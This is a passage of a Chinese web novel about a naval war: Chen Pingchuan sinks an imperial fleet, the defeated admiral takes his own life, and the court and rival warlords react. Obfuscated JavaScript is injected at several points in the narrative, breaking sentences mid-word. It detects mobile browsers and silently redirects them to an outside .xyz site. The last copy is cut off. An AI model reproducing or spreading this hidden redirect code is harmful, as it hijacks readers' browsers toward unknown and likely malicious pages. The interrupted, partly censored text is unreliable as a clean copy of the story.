“妈的!老子早就看这帮佣兵不顺眼了!” 一部分还有良知的死囚,立刻响应,他们调转刀口,砍向了那些还在犹豫,或者还想着屠城发财的江湖佣兵。 山谷中的混战,进入了第二阶段。 山崖上,石头冷冷地注视着这一切,他并没有下令攻击。 主公说了,这是一场狩猎。 现在,猎物们正在自相残杀,他乐得看戏。 很快,战斗就结束了。 王奎和他手下的死囚,人数上占了绝对优势,迅速将那些冥顽不灵的佣兵屠戮殆尽。 整个鬼愁涧,尸横遍野,血流成河。 王奎带着剩下的三千多人,扔掉了手中的兵器,走到山涧中央的开阔地,朝着石头的方向,齐刷刷地放下武器。 “罪人王奎,率众投降!” “我等愿降陈将军,戴罪立功!求将军给条活路!” 三千多人的呼喊声,在山谷中回荡。 石头派人将情况火速回报。 很快,陈平川的命令就传了回来。 “接受投降,收缴兵器,原地待命。” 石头这才从山崖上站起身,对着山下吼道:“主公有令,接受尔等投降!全部抱头蹲下,胆敢妄动者,杀无赦!” 陆地上的威胁,就此瓦解。 陈平川兵不血刃,仅用五百人,就让五千恶鬼军团灰飞烟灭,还意外收获了三千多名身强力壮的劳动力。 消息传回江徽府,百姓们无不拍手称快,奔走相告,对陈平川的敬畏,又深了一层。 而此刻的陈平川,已经登上了镇海舰队的旗舰。 他将目光,投向了那片波涛汹涌的蔚蓝。 真正难缠的对手,已经来了。 第306章 龙旗怒卷东海浪,帅旗笑看雁行来 海风猎猎,吹动着旗舰“破浪”号上那面巨大的“陈”字帅旗。 陈平川站在船头,手扶着腰间的佩剑,目光平静地注视着海天相接之处。 在他身后,林沧海、海哥等水师将领,神情肃穆。 终于,在地平线上,出现了一排密密麻麻的黑点。 黑点越来越大,逐渐显露出艨艟巨舰的轮廓。一面面绣着“丁”字的将旗和代表大业水师的龙旗,迎风招展。 定海水师,到了。 其阵容之鼎盛,气势之磅礴,远非当初犬养三郎的倭寇舰队,或是海哥的那些破船可以比拟。 上百艘巨型战船,连绵十里,旌旗蔽日,仿佛一座座移动的海上堡垒,带着泰山压顶般的气势,缓缓逼近。 镇海舰队的士兵们,看着眼前这恐怖的阵仗,不少人都紧张地咽了口唾沫。 “妈的,朝廷的家底,还真**厚实。”海哥往甲板上啐了一口,低声骂道,“光这船,就比咱们的大了一圈不止。” 林沧海的脸色也颇为凝重,他低声对陈平川说:“主公,来者不善。丁奉国是沙场宿将,用兵沉稳,不可小觑。” 陈平川点了点头,脸上却看不出丝毫的紧张。 “船大,不一定就厉害。”他淡淡地说道,“下令全军,保持阵型,静观其变。” 定海水师的舰队,在距离江徽府港口约五里处,停了下来。他们没有立刻发动进攻,而是放下来一叶扁舟,挂着免战旗,朝着陈平川的旗舰驶来。 “哟,还挺讲究,打仗前还先递个帖子。”海哥撇了撇嘴。 很快,扁舟靠近,一名定海水师的信使,将一封信呈了上来。 陈平川接过信,拆开一看,信上的字迹苍劲有力,透着一股军人的铁血之气。 信的内容,和他预想的差不多。 丁奉国先是痛斥他身为大业人,受皇恩,却不思报国,反而割据一方,实属大逆不道。 而后又话锋一转,晓之以理,称他念在陈平川斩倭有功,若肯就此束手就擒,随他回京请罪,他愿以自己的项上人头和一生功勋作保,在太后面前,为他求一条生路。 “呵呵,又是一个愚忠之人。”陈平川看完,轻笑一声,将信递给旁边的林沧海。 众将传阅了一遍,都是神色各异。 “主公,这丁奉国,倒还算个汉子。”林沧海说道,“可惜,脑子不开窍。” “是啊,都什么时候了,还想着太后、朝廷。”海哥不屑地说道,“他要真有本事,怎么不带兵去京城,把梁家那帮王八蛋给砍了。” 陈平川没有理会他们的议论,只是对马三说道:“取笔墨来。” 马三立刻取来文房四宝。 陈平川提笔蘸墨,没有长篇大论地去辩驳,只是在洁白的宣纸上,龙飞凤舞地写下了十六个大字。 “驱逐倭寇,澄清寰宇;诛灭**,还我河山!” 写完,他觉得还不够,又在下面添了几行小字,将梁太后与梁越祸乱朝纲、残害忠良、鱼肉百姓,害死景帝的种种罪行,简明扼要地罗列了出来。 最后,他落款“布衣,陈平川”,盖上了自己的私印。 “送回去。”他将信纸折好,递给那名还在等待的信使。 信使不敢多言,拿着信,匆匆返回。 …… 定海水师旗舰,“镇远”号。 丁奉国接过回信,缓缓展开。 当那十六个杀气腾腾、力透纸背的大字,映入他眼帘时,他的手,控制不住地微微颤抖了一下。 驱逐倭寇,澄清寰宇;诛灭**,还我河山! 好!好一个“诛灭**,还我河山”! 这十六个字,不正是他年轻时,从军报国的理想吗? 他的目光,又落在了下面那些罗列的罪状上。每一条,他都知道,都是血淋淋的事实。 丁奉国的心,乱了。 他抬头,遥遥望向远处那艘挂着“陈”字帅旗的战船。他仿佛能看到,那个年轻人正站在船头,用一双锐利的眼睛,和他对视。 那是一种怎样的眼神?是嘲讽?是不屑?还是……同情? 不!都不是。那是一种坚定的,不容置疑的,为了某个伟大目标,可以粉身碎骨的信念! 有那么一瞬间,丁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16216288|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奉国甚至产生了一股冲动,想要调转船头,跟着这个年轻人,杀回京城,去清一清这污浊的朝堂! 但,这个念头只是一闪而过。 他低头,看了看自己身上这身穿了一辈子的大业朝提督官服。 他想起了先帝的知遇之恩,想起了自己对着大业的龙旗,立下的血誓。 忠臣不事二主。 这是他恪守了一生的信条。 “唉……”丁奉国再次发出一声长叹,声音里,充满了无尽的悲凉和决绝。 他缓缓地,将手中的信纸,撕得粉碎。 纸屑,随风飘散,落入波涛汹涌的大海,了无踪迹。 他抬起头,眼中最后的一丝犹豫和挣扎,已经消失不见,取而代之的,是属于一名军人的,钢铁般的冰冷。 他拔出腰间的指挥刀,向前一指。 “传我将令!” “全军——” “出击!” “咚!咚!咚!” 数百面战鼓,同时擂响!那雄浑的鼓声,如同滚滚天雷,在海面上炸开,掀起了滔天的杀意! 定海水师的庞大舰队,排成一个巨大的雁行阵,如同张开双翼的巨鹰,向着江徽府的港口,猛扑过来! 一场决定东海归属的惨烈海战,正式拉开序幕! 战鼓声如雷,定海水师的巨舰乘风破浪,带着无可匹敌的气势,直压而来。 旗舰上,陈平川的表情依旧平静如水。 他看着敌军那教科书般的雁行阵,嘴角反而露出了一丝不易察觉的微笑。 “丁奉国啊丁奉国,你确实是个用兵的老手,只可惜,你的战法,已经过时了。” 他转头看向海哥,下达了第一道命令:“海哥,你带第一分舰队,按计划行事。记住,要打得像个海盗,不要命,但又贪生怕死。把他们一点一点地,引到预定地点去。” “得嘞!主公您就瞧好吧!”海哥兴奋地一搓手,这活儿他熟啊!“保证演得比真的还真!” 海哥领命而去,很快,他麾下的数十艘中小型战船,便如同狼群一般,从主舰队中脱离,怪叫着冲向了定海水师的左翼。 第307章 旧时代的挽歌,新纪元的炮火! 丁奉国在旗舰上看得清楚,眉头微皱。 “一群毫无章法的乌合之众。”他身边的参将不屑地说道。 丁奉国没有说话,只是下令左翼舰队保持阵型,稳步迎击。 海哥的舰队冲到射程之内,便是一通杂乱无章的火箭、**箭乱射,然后根本不与对方接舷,掉头就跑。 定海水师的巨舰还没来得及调整好射击角度,他们就已经跑远了。 “追!不要让他们跑了!”左翼的将领先功心切,立刻下令追击。 海哥的舰队跑跑停停,时不时回头骚扰一下,就像一群烦人的牛虻,不断地挑衅着定海水师这头巨兽。 几番拉扯之下,定海水师的左翼舰队,不知不觉间,已经脱离了主阵型,深入到了江徽府港口外的开阔海域。 丁奉国虽然感觉有些不对劲,但看到敌军那狼狈逃窜的样子,也只当是对方技不如人,被自己的威势所慑,便没有多想,下令全军跟进,准备一举将这支烦人的偏师歼灭。 “就是现在!”陈平川一直举着望远镜,看到敌军主力舰队的旗舰,已经驶入了他地图上标记的红色区域,立刻下达了第二道命令。 “发信号!” 一名信号兵,猛地将一面巨大的红色旗帜,高高举起! 在远处一个不为人知的隐蔽小岛上,一名负责观察的士兵看到红旗,立刻拉动了手中的一根粗大的绳索。 绳索的另一头,连接着深藏在水下的一系列机括。 下一秒! “轰——!!” 一声前所未闻的惊天巨响,从定海水师舰队的中央,猛然炸开! 一艘巨大的楼船战舰,仿佛被一只无形的海底巨兽狠狠地顶了一下,整个船身都被抛离了水面近一丈高! 巨大的水柱冲天而起,夹杂着无数的木屑和人体残肢! 那艘战舰在空中停滞了一瞬,然后重重地砸回海面,船底已经被炸开了一个恐怖的大洞,汹涌的海水疯狂倒灌进去,整艘船以肉眼可见的速度,开始倾斜下沉。 “轰!轰!轰隆——!” 这只是一个开始! 紧接着,一连串更为密集的**声,在整个舰队的中央和前锋位置,接二连三地响起! 整个海面,仿佛都沸腾了! 一艘又一艘的巨舰,被这来自水下的神秘力量炸得人仰马翻。有的船底被撕裂,有的船舵被炸飞,在原地打着转,还有的直接被炸成了两截! 定海水师的官兵们,彻底懵了。 水下攻击? 他们征战一生,何曾见过如此诡异的攻击方式? “是水妖!是水妖在作祟!” “龙王爷发怒了!” 恐慌,如同瘟疫一般,在舰队中蔓延开来。 丁奉国站在旗舰的甲板上,死死地抓住船舷,才没有被剧烈的晃动甩出去。他看着眼前这如同末日般的景象,一张老脸惨白如纸。 “不是水妖……”他喃喃自语,眼中充满了震撼和绝望,“是……是陈平川的武器……水下……有东西!” 他终于明白了,对方从一开始,就不是要和他堂堂正正地打一场海战。 对方,是要用闻所未闻的武器,将他这支无敌舰队,送入海底! 然而,真正的噩梦,才刚刚开始。 就在定海水师被**阵炸得阵型大乱,人心惶惶之际,港口的另一侧,林沧海率领的镇海舰队主力,如同幽灵一般,绕了出来! 这支舰队的战船,虽然在体型上不如定海水师,但它们的甲板上,都架设着一门门闪烁着金属光泽的,崭新的火炮! 那是神机营,在全伯的带领下,耗费了无数心血,刚刚赶制出来的第一批后膛火炮! “开火!” 林沧海冷静地挥下了令旗。 “轰!轰!轰!” 数十门火炮,同时发出了怒吼! 和老式火炮那沉闷的声音不同,这是一种清脆而又充满爆发力的轰鸣! 数十枚烧得通红的实心炮弹,带着尖锐的呼啸声,划破长空,精准地砸向了那些还在混乱中的定海战船! “噗!噗嗤!” 炮弹轻易地撕开了船只的木制装甲,巨大的动能带着它们一路贯穿,在船身上留下一个个触目惊心的大洞! 木屑横飞,惨叫四起! 一轮齐射过后,还没等敌人从震惊中反应过来,第二轮炮弹,又呼啸而至! 后膛装填的巨大优势,在这一刻体现得淋漓-尽致!它们的射速,是老式前膛火炮的三倍以上! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16216289|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这已经不是海战了。 这是一场单方面的,冷酷的,用跨时代武器进行的降维打击! 定海水师的官兵们,彻底崩溃了。他们引以为傲的巨舰,在敌人那恐怖的炮火面前,就像纸糊的一样脆弱。他们甚至无法组织起有效的还击,因为他们根本够不着对方! 丁奉国的旗舰“镇远”号,作为最大最显眼的目标,自然受到了“重点照顾”。 数枚炮弹,接连命中,主桅杆被一炮轰断,船舷被炸开一个巨大的缺口,甲板上燃起了熊熊大火。 这艘曾经象征着大业朝海上霸权的巨舰,此刻正像一个无助的老人,在火焰和浓烟中,发出痛苦的呻吟,缓缓地走向死亡。 此时,“镇远”号的甲板上,已是一片火海。 断裂的桅杆倒塌下来,砸**一片来不及躲闪的士兵。烈火舔舐着船身,发出“噼啪”的爆响,浓烟滚滚,熏得人睁不开眼睛。 丁奉国拄着指挥刀,半跪在甲板上,鲜血从他的额头流下,和花白的头发黏在一起,狼狈不堪。 他身边的亲兵,已经死伤殆尽。 “父亲!父亲!” 丁远不知从哪里冲了过来,一把抱住摇摇欲坠的丁奉国,哭喊道:“船要沉了!我们快走吧!留得青山在,不怕没柴烧啊!” 丁奉国看着周围的惨状,看着自己一手带出来的精锐水师,在敌人的炮火下如同靶子一样被摧毁,听着耳边士兵们绝望的惨叫,他的脸上,露出一抹惨然的笑容。 “走?”他喃喃自语,“我们还能走到哪里去?” 他推开丁远,挣扎着站起身,目光穿过浓烟,望向那支正在从容进行着炮击的,陈平川的舰队。 “我输了……”他声音嘶哑,“输得心服口服。不是输在兵法,不是输在士气,是输给了这个时代……我……我们……都老了……” 他忽然剧烈地咳嗽起来,一口鲜血喷在了滚烫的甲板上。 “父亲!”丁远大惊失色,想要上前搀扶。 丁奉国却一把抓住了他的手,力气大得惊人。他从怀里,掏出了一枚沉甸甸的,象征着定海水师最高权力的提督大印,和一封早已写好的信,不由分说地塞进了丁远的手里。 第308章 魂归碧海祭忠骨,血染风波定乾坤! “远儿!”丁奉国的眼中,爆发出最后的光芒,他嘶吼道:“我生是大业的臣,死,也只能是大业的鬼!我不能投降,这是我最后的骨气!” “但你不同!你还年轻!你会比我走得远!” “我这一辈子,忠于大业,却助纣为虐,害了百姓,我死后,无颜去见列祖列宗!这个罪,我来背!” “你拿着我的信和帅印,去!去投陈平川!他……他才是能重整河山之人!告诉他,我丁奉国,这个老糊涂,请他……守好这**海疆!决不能让人欺负!” 说完,他用尽全身的力气,一把将丁远推向旁边正在放下的救生小船。 “走!这是为父,给你的最后一道命令!” “不!父亲!”丁远在小船上撕心裂肺地哭喊着。 丁奉国却不再看他。 他转过身,迎着那呼啸而来的炮火,迎着那吞噬一切的烈焰,挺直了自己年迈的,却依旧倔强的脊梁。 他整理了一下身上被烧得破破烂烂的官服,缓缓拔出了腰间的佩剑。 他将剑横在自己的脖子上,最后看了一眼京师的方向,眼中,是无尽的悲凉。 “先帝……臣……有负圣恩……” “噗!” 一道血光闪过。 这位为大业朝征战了一生的老将,在自己即将沉没的旗舰上,用最刚烈的方式,结束了自己的生命。 他的身体,随着“镇远”号最后一声痛苦的呻吟,随着那巨大的船身,一同被汹涌的波涛,卷入了深不见底的大海。 “父亲——!” 丁远的哭声,被海浪和炮火声彻底淹没。 他看着父亲自刎的地方,双目欲裂。但父亲决绝的背影,和那最后的命令,却在他脑海中不断回响。 他擦干眼泪,通红的眼中,燃起了一丝新的火焰。 他站起身,对着周围那些同样幸存下来,却已经彻底失去斗志的定海水师残部,大声吼道:“传我命令!全军,挂降幡!投降!” 海面上的炮声,渐渐平息了。 定海水师残存的几十艘战船,纷纷降下了龙旗,挂上了代表投降的降幡。 陈平川在旗舰上,静静地看着这一切。 他没有胜利的喜悦,心中反而有几分沉重。 丁奉国,是一个可敬的对手,只可惜,生错了时代,站错了队伍。 丁远乘坐着小船,被带到了陈平川的旗舰上。 他将父亲的帅印和遗信,高高举过头顶,单膝跪地。 “罪将丁远,率定海水师残部,愿降将军!这是家父……丁提督的遗物。” 陈平川接过信,打开一看。 信上的内容,充满了悔恨和托付。 陈平川沉默了许久,长长地叹了口气。 “厚葬丁老将军。”他对身边的士兵下令,“以王侯之礼。” 然后,他亲自扶起了丁远。 “丁将军,请起。令尊之忠义,平川敬佩。从今往后,你我便是一家人。镇海舰队,还需要你这样的将才。” 丁远看着陈平川真诚的眼神,再次泪如雨下,重重地磕了一个头。 “丁远,愿为主公,效死命!” 此战,大业朝最后一支成建制的水师,宣告覆灭。 陈平川不仅缴获了上百艘大小战船,收编了数千名训练有素的精锐水兵,丁远的加入,更是完美地补齐了他海军高级将领的短板。 自此,东海之上,再无敌手。 陈平川站在船头,海风吹拂着他的衣袍。他的目光,越过舰船,越过硝烟,望向了遥远的北方大陆。 江徽府,稳了。 他也拥有了上桌的资格,下一步,就看谁能笑到最后! …… 东海之上的硝烟尚未完全散尽,定海水师全军覆没,提督丁奉国自刎殉国的消息,飞快地向外扩散。 先是在沿海的州府引起了滔天巨浪,无数官员、士绅吓得魂飞魄散,连夜收拾金银细软,准备随时跑路。 紧接着,这股恐慌的浪潮,便以不可阻挡之势,席卷整个京城。 紫禁城,凤仪宫。 梁太后最近几日眼皮一直跳,心神不宁。她总觉得有什么大事要发生,连最喜欢的歌舞都看不下去,遣散了所有宫人,独自一人坐在凤椅上,揉着发胀的太阳穴。 “太后!太后!不好了!” 一声尖利刺耳的叫声,打破了宫殿的宁静。 内侍总管连滚带爬地冲了进来,脸上没有一丝血色,手中的拂尘都掉在了地上。 “乱叫什么!成何体统!”梁太后猛地睁开眼,厉声呵斥。她最见不得下人这副没见过世面的样子。 “太后……南边……南边八百里加急军报!”内侍总管跪在地上,声音里带着颤音,“定海……定海水师……全……全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217693|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没了!” “你说什么?”梁太后一时间没反应过来,她皱着眉头,以为自己听错了。 “丁奉国……丁老将军他……他战**!整支舰队,上百艘战船,数万水师,全军覆没!那个陈平川……他……他赢了!” “轰!” 梁太后的脑子里,仿佛有根弦,被这几句话狠狠地拨断了。 全没了? 怎么可能! 那可是大业朝立国百年,耗费了无数国帑,才打造出的无敌舰队!是她手里最硬的一张底牌!是她用来**天下,扫平一切不臣的最终武力! 丁奉国,大业朝为数不多的名将,用兵稳如泰山,怎么可能会输?还是输给了一个毛头小子? “不可能……这绝不可能!是谣言!一定是陈平川那个逆贼散布的谣言!”梁太后猛地站起身,脸色苍白地嘶吼着,凤冠上的珠翠叮当作响。 然而,随后被呈上来的,盖着兵部大印的正式塘报,将她最后的一丝幻想,击得粉碎。 白纸黑字,写得清清楚楚。 东海决战,定海水师大败,提督丁奉国以身殉国,其子丁远率残部投降。 梁太后只觉得眼前一黑,整个人再也支撑不住,直挺挺地向后瘫倒在凤椅上。 那张平日里威严满满的脸,此刻如同涂了一层死灰,再无半分神采。 完了! 她心里只剩下这一个念头。 失去了定海水师,就等于失去了对整个江南,乃至整个大业朝沿海地区的控制权。 从今往后,那个盘踞在江徽府的陈平川,就像一根扎进大业朝血肉里的毒刺,她再也没有能力将其拔除。 她甚至可以预见到,消息传开后,朝野上下必然人心浮动,那些潜藏的反贼,也都会蠢蠢欲动,给大业朝带来巨大影响! 大业朝的天,真的要塌了。 “妹妹!妹妹!”国舅梁越跑了进来,看到梁太后失魂落魄的样子,也是心头一凉,但他强作镇定,挥退了所有下人。 “妹妹,大局未定,切不可自乱阵脚!”梁越扶住梁太后,声音急切,“现在不是放弃的时候!我们必须想办法!” “办法?我们还有什么办法?”梁太后抓住梁越的衣袖,状若疯癫,颤声说道,“水师没了,李蝎那个废物也折在了鬼愁涧,我们手里还有什么牌?你告诉我,还有什么?” 第309章 朝堂谋苟且,海内起风云 梁越的脸色同样难看,他咬着牙说道:“陈平川现在虽然赢了,但他刚刚经历大战,肯定也损失不小。而且他收编了定海的降兵,内部必然不稳,短时间内,他绝对不敢挥师北上!这就是我们的机会!” “我们必须立刻下旨,封锁所有消息,同时,对陈平川采取守势!暂时承认他占据江徽府的事实,甚至……甚至可以给他一个封号,安抚他!” “什么?!”梁太后尖叫起来,“给他封号?承认他?那我们梁家的脸面何在?朝廷的威严何在?” “脸面?威严?”梁越苦笑一声,“妹妹,都什么时候了,这些东西还重要吗?活下去才最重要!我们现在要做的,就是拖!拖时间!只要我们守住京城和北方,守好我们的地盘,陈平川一时半会儿也奈何不了我们!这就为我们赢得了宝贵的时间!” 梁太后呆呆地看着自己的哥哥,这个计策,无异于割地求和,是奇耻大辱。 但她知道,梁越说的是对的。 打,是肯定打不动了。 现在唯一能做的,就是默认陈平川的存在,用空间换时间,苟延残喘。 等着将来,事情出现转机,北方蛮族退兵,起义军被**,她就有能力收拾陈平川了! 可是……这一天真的会到来吗? …… 从此,大业朝的朝堂之上,出现了一种极为诡异的默契。 所有人,都对“陈平川”这三个字,讳莫如深,仿佛这个人,根本不存在一样。 朝廷,也不再主动挑衅,这就给远在江南的陈平川,赢得了梦寐以求的发展之机。 江徽府,港口。 海面上,战斗的痕迹正在被潮水慢慢清洗。 一场隆重而肃穆的葬礼,正在陈平川的旗舰上举行。 没有尸体,只有一个衣冠冢。 里面放着的,是丁奉国那件被烧得破破烂烂,却被仔细清洗过的提督官服,以及他自刎时用的那把佩剑。 陈平川亲自主持了葬礼。他没有穿自己的帅袍,而是换上了一身素服,神情凝重。 在他的身后,林沧海、海哥、丁远,以及镇海舰队和定海水师投降过来的高级将领们,都静静地站着。 气氛很沉重,但也很微妙。 那些刚刚投降的定海水师官兵,看着陈平川,眼神复杂。 他们没想到,这个亲手摧毁了他们舰队,逼死他们主帅的敌人,竟然会给予丁奉国如此高的礼遇。 “丁老将军,忠君爱国,节烈可嘉。虽为敌手,其风骨,让平川深为敬佩。”陈平川亲自将三炷香,插在灵位前的香炉里。 “只可惜,明珠暗投,报国无门,一身忠勇,错付奸佞。此非将军之过,实乃时代之悲,朝廷之罪。” 他的声音不大,却清晰地传到每一个人的耳朵里。 “今日,我陈平川在此立誓,定当继承老将军遗志,守好这**海疆,护我大业子民,决不让外族欺辱分毫!” 说完,他对着丁奉国的灵位,深深一揖。 丁远站在一旁,早已是泪流满面。 他父亲一生的悲剧,一生的苦闷,一生的不甘,似乎都被陈平川这几句话,说了个通透。 这个年轻人,是真正懂他父亲的人。 “扑通!” 丁远再次跪倒在地,对着陈平川,重重地磕了一个头。 “主公大义!丁远……及定海水师数千兄弟,愿为主公赴汤蹈火,万死不辞!” 他身后,那些原本还心存芥蒂的定海水师降兵们,在这一刻,也彻底放下了最后的疑虑和抵触。他们看着陈平川的背影,眼神中,第一次露出了真正的归附与敬畏。 这个年轻人,不仅用武力打败了他们,更用胸襟,征服了他们。 葬礼结束,陈平川将丁远单独叫到了船舱。 “丁将军。”陈平川亲自倒了一杯茶,递到他面前,“逝者已矣,生者当发奋。令尊的遗愿,还需要你来完成。” 丁远接过茶杯:“主公……远,愧不敢当。” “没什么不敢当的。”陈平川看着他,微笑道:“镇海舰队,家底子薄,正是用人之际。林沧海将军,沉稳有余,但谋略稍欠;海哥,悍勇机变,却失之草莽。你的加入,正好可以补齐这块短板。” “我欲任命你为镇海舰队副提督,与林、海二位将军,共同执掌舰队。你负责操练兵马,整肃军纪,将定海水师那一套严谨的训练之法,与我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217694|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵活的战术结合起来。你,可愿意?” 丁远猛地抬起头,他没想到陈平川会对他委以如此重任。这几乎是把一半的海上家当,都交到了他的手上。 “主公……如此信我?” “我信的,是丁老将军的眼光,和他用生命换来的托付。”陈平川的眼神,真诚而坦然,“用人不疑,疑人不用。我陈平川麾下,不分新旧,只看能力。你有这个能力,就该坐在这个位置上。” 丁远再也说不出一句话,只是再次起身,对着陈平川,行了一个标准的军礼。 这一次,他的眼神里,再无悲伤,只剩下熊熊燃烧的斗志! 是夜。 江徽府,知府衙门,书房。 陈平川处理完战后的各项事宜,终于有了一丝空闲。 他独自一人坐在书房里,桌案上,摊开的不是兵书,而是一份份由“天算”情报网,刚刚从各地送来的绝密情报。 张盛财果然是天生的情报头子。 短短时间内,这张无形的大网,已经铺满了大业朝的每一个角落,甚至延伸到了更远的地方。 天下的风吹草动,正源源不断地汇集到他这张小小的书桌上。 陈平川拿起最上面的一份情报,目光一凝。 这份情报,出自“天算”安插在北方边境的一名暗桩之手。 “草原霸主,‘苍狼’塔尔罕,已于月前,于狼神山下,大会蛮族诸部。蒙族、金族、以及大小数十个游牧部落,尽皆臣服。塔尔罕自称‘天可汗’,组建五十万铁骑联军,号令所向,莫敢不从。其兵锋,已直指大业北境长城,虎视眈眈,南下只在旦夕之间。” 五十万铁骑联军! 陈平川看到这个数字,眼睛不由自主地眯了眯。 他知道蛮族彪悍,却没想到,这个叫塔尔罕的,竟然有如此手段,在这么短的时间内,就完成了对整个草原的统一。 这可不是一群乌合之众,而是一架真正开动起来的,恐怖的战争机器。 一旦这五十万铁骑冲破长城防线,对于羸弱腐朽的大业朝来说,将是一场彻头彻尾的灾难。中原大地,恐怕又要重演靖康之耻的惨剧。 他的目光,继续往下看。 第310章 北境烽烟急,南邻狼子心 然而塔尔罕数十次试探性进攻,均被死死挡在大雁关外,寸步难进。 镇守大雁关者,乃大业边帅,蒙天放。 蒙天放! 陈平川的脑海里,浮现出这个名字。 此人号称“大业最后的名将”,在军中威望极高。他并非梁党一系,而是先帝景帝一手提拔起来的寒门将领,为人刚正不阿,对大业忠心耿耿,是朝中为数不多还在真正为国为民做事的人。 情报上说,蒙天放麾下,只有五万“玄甲军”。 这支军队,是大业朝最后的精锐野战部队,常年驻守边关,与蛮族厮杀,战力极为强悍。 以五万兵力,硬生生扛住五十万大军的轮番冲击,这蒙天放的领兵之能,堪称恐怖。 陈平川的心里,对这位素未谋面的将军,不禁生出几分敬意。 然而,情报的最后几行,却让他的眉头,紧紧地皱了起来。 “蒙帅孤军奋战,朝廷粮饷不济,军械补充更是时断时续。国舅梁越,因蒙帅非其嫡系,处处掣肘。京中已有言官上奏,**蒙帅拥兵自重,通敌谋反。其处境,岌岌可危。” 看到这里,陈平川的眼中,闪过一丝冷冽的寒光。 **! 都什么时候了,还在搞内斗! 外敌当前,不想着如何支援前线,反而还在背后捅刀子,构陷忠良。 梁家这帮人,真是烂到了骨子里! 陈平川心里跟明镜似的。 蒙天放现在就像一根被拉到极致的弓弦,全靠着一股气在撑着。一旦这口气泄了,或者粮草断绝,大雁关一破,后果不堪设想。 他断定,蒙天放撑不了太久。 这个情报,让他感觉到了巨大的压力。 北方的蛮族,是一个悬在头顶的巨大威胁,一旦南下,势必对整个中原局势带来毁灭性的冲击,到时候,自己问鼎中原的计划,也将受到严重阻碍。 而蒙天放,则是一个潜在的,可以争取的对象。一个被朝廷逼到绝路上的忠臣,是最有可能倒向自己这边的。 只是,现在还不是时候。 不知道,顺城赵莽将军他们,是否还好? 放下这份情报,陈平川心中已经有了计较。 北边的事情,得放一放,得等。 他的目光,落在了第二份情报上。 这份情报,来自近邻,与江徽府一山之隔的建州府。 “建州府,现为朝廷叛将萧赞所据。萧赞此人,原为建州总兵,野心勃勃。趁朝廷内乱,驱逐知府,自立为王。其手下有兵马三万,皆是训练有素的战兵。” “此前,因东有定海水师封锁,南有倭寇之患,北有朝廷大军压境,萧赞不敢妄动。如今,主公扫平内外之患,定鼎东海。萧赞此人,已将贪婪目光,投向江徽府。” “据报,其军中调动频繁,粮草正在向与江徽府接壤的边境集结。” 陈平川看着地图上,江徽府与建州府那短短的接壤线,嘴角勾起一丝冷笑。 真是想什么来什么。 他刚刚还在发愁,如何整合手上的兵力,尤其是那几千刚刚投降的定海水师和鬼愁涧收编的囚犯,这些人光吃饭不干活可不行,必须通过一场战争,来完成磨合,来筛选,来真正地将他们变成自己的力量。 没想到,有人自己送上门来了。 这个萧赞,简直就是最佳的“陪练”对象。 他心里清楚,自己现在虽然声威大震,但根基尚浅。周边这些所谓的“邻居”,一个个都跟饿狼似的,盯着江徽府这块肥肉。 如果自己表现出一点点的软弱,他们就会毫不犹豫地扑上来,将自己撕成碎片。 所以,想安安稳稳地关起门来发展,是不可能的。 必须主动出击! 打得一拳开,免得百拳来! 而且,这一战,不仅要打,还要打得漂亮,打得狠!要用这个萧赞的脑袋,来告诉天下所有人,我陈平川的地盘,不是谁都能来碰一下的! 立威! 这才是他真正的目的。 陈平川的手指,在地图上江徽府与建州府之间,重重地划过。 他的眼神,变得锐利起来。 他已经开始在脑中,推演整个战局的走向。 如何诱敌,如何设伏,如何以最小的代价,取得最大的战果。 就在这时,书房的门被轻轻敲响。 “主公。”门外,是亲兵的声音。 “进来。” 一名亲兵推门而入,躬身禀报:“主公,府外有一人求见,自称是建州府萧赞将军麾下使者,已在府外等候,说……说要与主公商议两府结盟的大事。” 陈平川闻言,先是一愣,随即放声大笑起来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 